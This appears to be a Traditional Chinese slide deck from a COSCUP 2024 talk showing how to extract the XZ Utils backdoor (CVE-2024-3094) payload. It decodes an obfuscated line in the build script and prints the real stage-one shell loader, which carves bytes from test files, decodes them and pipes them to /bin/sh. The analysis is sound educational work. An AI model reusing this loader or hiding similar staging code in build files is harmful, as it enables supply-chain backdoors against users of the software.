19895 行將 gl_localedir_config 變數的值設定為 `sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_localedir_prefix -d 2>/dev/null` 命令的輸出
---
奇怪的 `sed` 命令:`sed \"r\n\" $gl_am_configmake`
![image](https://hackmd.io/_uploads/ryDzI_2YC.png)
實際上是:`cat $gl_am_configmake | eval $gl_path_map | $gl_localedir_prefix -d 2>/dev/null`
---
把所有的{變數展開|parameter expansion}語法都展開之後會變成:
```sh
cat xz-5.6.1/tests/files/bad-3-corrupt_lzma2.xz \
| tr "\t \-_" " \t_\-" \
| xz -d 2>/dev/null
```
```sh!
####Hello####
#U$
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####
```
??????
---
![image](https://hackmd.io/_uploads/SklxK_3FR.png)
24107 行把前面那一大段看起來像是 shell 腳本的東西給執行了
---
## 沒惹
目前就只作到這邊,其他的請跟蹤 HackMD 文章
![qrcode](https://hackmd.io/_uploads/S1z-c_nKR.png =300x300)
<https://hackmd.io/@cve-2024-3094/how-to-extract-the-malware-payload>
<style>
/* 調大旁註文字的字元大小 */
rt{
font-size: 15pt;
}
/* 不限制代碼區塊的高度 */
.reveal pre code{
max-height: 100%;
}
/* 迴避清單的排版美觀問題 */
.reveal .slides{
text-align: left;
}
/* 減少圖片跟圖片間的留白 */
:root{
--r-block-margin: 10px;
--r-heading-margin: 0 0 15px 0;
}
</style>
{"lang":"zh-TW","breaks":false,"showTags":"true","image":"https://hackmd.io/_uploads/rJjrC-oY0.png","title":"如何抽取出 XZ 後門的惡意程式酬載 | COSCUP 2024《帶你讀源碼》議程軌議程簡報","description":"手把手帶你完成 XZ 後門分析的第一個步驟","contributors":"[{\"id\":\"62aab908-4afa-4059-813c-f855a82c2b1d\",\"add\":37775,\"del\":9504}]"}